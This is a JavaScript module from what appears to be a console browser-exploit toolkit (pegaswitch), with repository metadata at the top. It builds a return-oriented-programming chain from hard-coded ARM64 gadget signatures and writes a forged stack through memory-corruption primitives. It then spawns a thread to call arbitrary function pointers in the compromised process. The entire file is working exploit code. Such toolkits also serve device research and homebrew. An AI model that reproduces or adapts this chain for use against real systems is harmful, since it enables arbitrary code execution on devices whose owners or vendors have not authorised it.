{"size": 6974, "ext": "js", "max_stars_repo_path": "exploit/AsyncCaller.js", "max_stars_repo_name": "inarius/pegaswitch", "max_stars_repo_stars_event_min_datetime": "2017-03-17T10:26:29.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-01T16:55:36.000Z", "max_issues_repo_path": "exploit/AsyncCaller.js", "max_issues_repo_name": "inarius/pegaswitch", "max_issues_repo_issues_event_min_datetime": "2017-03-17T14:22:21.000Z", "max_issues_repo_issues_event_max_datetime": "2021-03-22T23:52:48.000Z", "max_forks_repo_path": "exploit/AsyncCaller.js", "max_forks_repo_name": "inarius/pegaswitch", "max_forks_repo_forks_event_min_datetime": "2017-03-17T15:43:20.000Z", "max_forks_repo_forks_event_max_datetime": "2022-01-14T22:46:09.000Z"}
{"max_stars_count": 705, "max_issues_count": 89, "max_forks_count": 160, "avg_line_length": 34.0195121951, "max_line_length": 97, "alphanum_fraction": 0.5856036708}
/* eslint camelcase: "off" */
/* eslint no-redeclare: "off" */
/* global performance */
var utils = require('./utils');

class AsyncCaller {
	constructor (sc) {
		this.sc = sc;

		this.load_gadget = sc.gadget('020c41a9041442a9061c43a9082444a9');
		// this.ldr_x8 = sc.gadget('080540f900013fd6607e4092fd7b42a9f44f41a9')

		this.str_x0_x19 = sc.gadget('fd7b41a9600200f9f30742f8c0035fd6');
		this.ldr_x0 = sc.gadget('e00740f9fd7b41a9ff830091c0035fd6');
		this.br_x16 = sc.gadget('fd7bc1a800021fd6');
		this.ldr_x19 = sc.gadget('f31740f9fd7b43a9ff030191c0035fd6');
		this.exit_thread = sc.gadget('410100d4');
	}

	// timeout in milliseconds
	//  -1: no timeout
	call (func_ptr, args, timeout) {
		if (args.length >= 8) {
			throw new Error('too many arguments');
		}
		for (var i = 0; i < args.length; i++) {
			if (ArrayBuffer.isView(args[i])) {
				args[i] = args[i].buffer;
			}
			if (args[i] instanceof ArrayBuffer) {
				args[i] = this.sc.getArrayBufferAddr(args[i]);
			}
		}
		for (var i = args.length; i < 8; i++) {
			args[i] = [0, 0];
		}
		if (timeout === undefined) {
			timeout = 5000;
		}
		/*
      ldr_x0:
      0x7853e729a4      e00740f9       ldr x0, [sp, 8] ; x0 = &(&exitThread-0x30)
      0x7853e729a8      fd7b41a9       ldp x29, x30, [sp, 0x10]
      0x7853e729ac      ff830091       add sp, sp, 0x20
      0x7853e729b0      c0035fd6       ret

      load_gadget:
      0x7853ed626c      020c41a9       ldp x2, x3, [x0, 0x10]
      0x7853ed6270      041442a9       ldp x4, x5, [x0, 0x20]
      0x7853ed6274      061c43a9       ldp x6, x7, [x0, 0x30]
      0x7853ed6278      082444a9       ldp x8, x9, [x0, 0x40]
      0x7853ed627c      0a2c45a9       ldp x10, x11, [x0, 0x50]
      -- snip --
      0x7a9c63963c      104448a9       ldp x16, x17, [x0, 0x80]
      -- snip --
      0x7853ed62a0      1c744ea9       ldp x28, x29, [x0, 0xe0]
      0x7853ed62a4      1e8040f9       ldr x30, [x0, 0x100]
      0x7853ed62a8      017c40f9       ldr x1, [x0, 0xf8]
      0x7853ed62ac      3f000091       mov sp, x1
      0x7853ed62b0      0004516d       ldp d0, d1, [x0, 0x110]
      -- snip --
      0x7853ed62f0      1f0441fd       ldr d31, [x0, 0x208]
      0x7853ed62f4      000440a9       ldp x0, x1, [x0]
      0x7853ed62f8      c0035fd6       ret

      br_x16:
      0x7a9c5ae6b0      fd7bc1a8       ldp x29, x30, [sp], 0x10
      0x7a9c5ae6b4      00021fd6       br x16

      FUNCTION EXECUTES HERE

      ldr_x19:
      0x7a9c22fea8      f31740f9       ldr x19, [sp, 0x28]       ; [0x28:4]=0x8e2e9c ; '('
      0x7a9c22feac      fd7b43a9       ldp x29, x30, [sp, 0x30]
      0x7a9c22feb0      ff030191       add sp, sp, 0x40
      0x7a9c22feb4      c0035fd6       ret

      str_x0_x19:
      0x7a9c303f4c      fd7b41a9       ldp x29, x30, [sp, 0x10]
      0x7a9c303f50      600200f9       str x0, [x19]
      0x7a9c303f54      f30742f8       ldr x19, [sp], 0x20
      0x7a9c303f58      c0035fd6       ret

      ldr_x0:
      0x7853e729a4      e00740f9       ldr x0, [sp, 8] ; x0 = magic return flag
      0x7853e729a8      fd7b41a9       ldp x29, x30, [sp, 0x10]
      0x7853e729ac      ff830091       add sp, sp, 0x20
      0x7853e729b0      c0035fd6       ret

      str_x0_x19
      0x7a9c303f4c      fd7b41a9       ldp x29, x30, [sp, 0x10]
      0x7a9c303f50      600200f9       str x0, [x19] ; magic return flag
      0x7a9c303f54      f30742f8       ldr x19, [sp], 0x20
      0x7a9c303f58      c0035fd6       ret

      exit_thread:
      0x7853e855b4      410100d4       svc 0xa      ; ExitThread
    */

		var load_gadget = this.load_gadget;
		// var ldr_x8 = this.ldr_x8
		var str_x0_x19 = this.str_x0_x19;
		var ldr_x0 = this.ldr_x0;
		var br_x16 = this.br_x16;
		var ldr_x19 = this.ldr_x19;
		var exit_thread = this.exit_thread;
		var sc = this.sc;

		return new Promise((resolve, reject) => {
			var magic_return_flag = [0, 0];
			while (magic_return_flag[0] === 0 && magic_return_flag[1] === 0) {
				magic_return_flag = [Math.floor(Math.random() * 0x1000), Math.floor(Math.random() * 0x1000)];
			}

			var load_area = sc.malloc(0x280);
			var sp = sc.malloc(0x300);
			var initial_sp = sp;
			var scratch = sc.malloc(0x20);
			sc.write8([0, 0], scratch, 0x00 >> 2); // return value
			sc.write8([0, 0], scratch, 0x10 >> 2); // magic return flag
			var return_value_addr = utils.add2(scratch, 0x00);
			var magic_return_flag_addr = utils.add2(scratch, 0x10);

			sc.write8(load_area, sp, 0x8 >> 2); // ldr x0, [sp, 8]
			sc.write8(load_gadget, sp, 0x18 >> 2); // ldp x29, x30, [sp, 0x10]
			sp = utils.add2(sp, 0x20); // add sp, sp, 0x20

			sc.write8(args[0], load_area, 0x000 >> 2);
			sc.write8(args[1], load_area, 0x008 >> 2);
			sc.write8(args[2], load_area, 0x010 >> 2);
			sc.write8(args[3], load_area, 0x018 >> 2);
			sc.write8(args[4], load_area, 0x020 >> 2);
			sc.write8(args[5], load_area, 0x028 >> 2);
			sc.write8(args[6], load_area, 0x030 >> 2);
			sc.write8(args[7], load_area, 0x038 >> 2);
			sc.write8(func_ptr, load_area, 0x080 >> 2); // x16
			sc.write8(sp, load_area, 0xf8 >> 2); // sp
			sc.write8(br_x16, load_area, 0x100 >> 2); // x30 (LR)

			sc.write8(ldr_x19, sp, 0x8 >> 2); // ldp x29, x30, [sp], 0x10
			sp = utils.add2(sp, 0x10);

			// br x16
			//  FUNCTION EXECUTES HERE

			// ldr_x19:
			sc.write8(return_value_addr, sp, 0x28 >> 2); // ldr x19, [sp, 0x28]
			sc.write8(str_x0_x19, sp, 0x38 >> 2); // ldp x29, x30, [sp, 0x30]
			sp = utils.add2(sp, 0x40); // add sp, sp, 0x40
			// ret

			// str_x0_19:
			sc.write8(ldr_x0, sp, 0x18 >> 2); // ldp x29, x30, [sp, 0x10]
			// str x0, [x19]
			sc.write8(magic_return_flag_addr, sp, 0x0 >> 2); // ldr x19, [sp], 0x20
			sp = utils.add2(sp, 0x20);
			// ret

			// ldr_x0:
			sc.write8(magic_return_flag, sp, 0x8 >> 2); // ldr x0, [sp, 8]
			sc.write8(str_x0_x19, sp, 0x18 >> 2); // ldp x29, x30, [sp, 0x10]
			sp = utils.add2(sp, 0x20); // add sp, sp, 0x20
			// ret

			// str_x0_19:
			sc.write8(exit_thread, sp, 0x18 >> 2); // ldp x29, x30, [sp, 0x10]
			// str x0, [x19]
			// ldr x19, [sp], 0x20
			sp = utils.add2(sp, 0x20);
			// ret

			// svcExitThread

			var prio = [58, 0];
			var handle = sc.svcCreateThread(ldr_x0, load_area, initial_sp, prio, 1).assertOk();
			sc.svcStartThread(handle).assertOk();

			var begin = performance.now();
			var wait = function () {
				var field = sc.read8(scratch, 0x10 >> 2);
				if (field[0] !== magic_return_flag[0] || field[1] !== magic_return_flag[1]) {
					if (timeout >= 0 && (performance.now() - begin) > timeout) {
						sc.svcCloseHandle(handle).assertOk();
						sc.free(load_area);
						sc.free(initial_sp);
						sc.free(scratch);
						reject(new Error('timed out'));
					} else {
						window.requestAnimationFrame(wait);
					}
				} else {
					sc.svcCloseHandle(handle).assertOk();
					sc.free(load_area);
					sc.free(initial_sp);
					sc.free(scratch);
					resolve(sc.read8(scratch, 0x00));
				}
			};
			window.requestAnimationFrame(wait);
		});
	}
}

module.exports = AsyncCaller;
